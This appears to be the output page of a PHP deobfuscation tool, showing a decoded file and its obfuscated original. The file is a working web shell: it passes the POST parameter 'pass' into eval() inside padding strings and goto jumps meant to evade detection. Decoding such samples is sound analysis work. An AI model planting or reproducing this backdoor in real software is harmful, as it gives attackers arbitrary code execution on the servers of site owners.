Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php class Test { public static $staticName = ''; public $name = ''; function __destruct..

Decoded Output download

<?php 
class Test { public static $staticName = ''; public $name = ''; function __destruct() { $this->executeCode($this->name); } static function executeStaticCode($lQPRPx) { goto lgeORxx; lgeORxx: $lQPRPO = "This is a static disturb code."; goto lgeORxO; lgeORxP: eval($lQPRPR); goto lgeORxm; lgeORxZ: $lQPRPR .= "eval($code);"; goto lgeORxP; lgeORxR: $lQPRPR .= "$code = $disturbCode . {$lQPRPx};"; goto lgeORxZ; lgeORxO: $lQPRPR = "$disturbCode = '{$lQPRPO}';"; goto lgeORxR; lgeORxm: } function executeCode($lQPRPx) { goto lgeORxi; lgeORxd: $lQPRPR .= "eval($code);"; goto lgeORxe; lgeORxi: $lQPRPO = "This is a disturb code."; goto lgeORxg; lgeORxe: eval($lQPRPR); goto lgeORxU; lgeORxg: $lQPRPR = "$disturbCode = '{$lQPRPO}';"; goto lgeORxf; lgeORxf: $lQPRPR .= "$code = $disturbCode . {$lQPRPx};"; goto lgeORxd; lgeORxU: } } $lQPRPZ = new Test(); $lQPRPP = @$_POST["pass"]; $lQPRPZ->name = $lQPRPP; Test::$staticName = $lQPRPP; Test::executeStaticCode(Test::$staticName); ?>

Did this file decode correctly?

Original Code

<?php
class Test { public static $staticName = ''; public $name = ''; function __destruct() { $this->executeCode($this->name); } static function executeStaticCode($lQPRPx) { goto lgeORxx; lgeORxx: $lQPRPO = "\124\x68\151\163\40\151\x73\x20\x61\40\x73\x74\x61\x74\x69\x63\x20\x64\x69\x73\164\165\x72\x62\40\x63\157\144\145\x2e"; goto lgeORxO; lgeORxP: eval($lQPRPR); goto lgeORxm; lgeORxZ: $lQPRPR .= "\145\x76\x61\x6c\x28\44\x63\x6f\144\x65\51\x3b"; goto lgeORxP; lgeORxR: $lQPRPR .= "\44\143\x6f\144\145\40\75\40\44\x64\x69\x73\164\165\162\x62\x43\x6f\144\145\40\x2e\40{$lQPRPx}\73"; goto lgeORxZ; lgeORxO: $lQPRPR = "\44\x64\151\x73\164\x75\162\x62\x43\x6f\x64\x65\x20\x3d\x20\47{$lQPRPO}\47\x3b"; goto lgeORxR; lgeORxm: } function executeCode($lQPRPx) { goto lgeORxi; lgeORxd: $lQPRPR .= "\x65\x76\x61\x6c\50\x24\x63\157\144\x65\51\73"; goto lgeORxe; lgeORxi: $lQPRPO = "\124\150\151\x73\40\151\163\40\x61\x20\x64\x69\163\164\165\162\x62\40\x63\x6f\x64\x65\x2e"; goto lgeORxg; lgeORxe: eval($lQPRPR); goto lgeORxU; lgeORxg: $lQPRPR = "\x24\144\x69\163\x74\x75\162\x62\x43\157\x64\x65\x20\x3d\x20\47{$lQPRPO}\x27\73"; goto lgeORxf; lgeORxf: $lQPRPR .= "\x24\143\x6f\x64\145\x20\x3d\40\x24\144\151\163\x74\x75\x72\142\x43\x6f\x64\x65\40\x2e\x20{$lQPRPx}\73"; goto lgeORxd; lgeORxU: } } $lQPRPZ = new Test(); $lQPRPP = @$_POST["\x70\x61\x73\x73"]; $lQPRPZ->name = $lQPRPP; Test::$staticName = $lQPRPP; Test::executeStaticCode(Test::$staticName);

Function Calls

None

Variables

None

Stats

MD5 630841dc1db4971eea185d9dad38897b
Eval Count 0
Decode Time 54 ms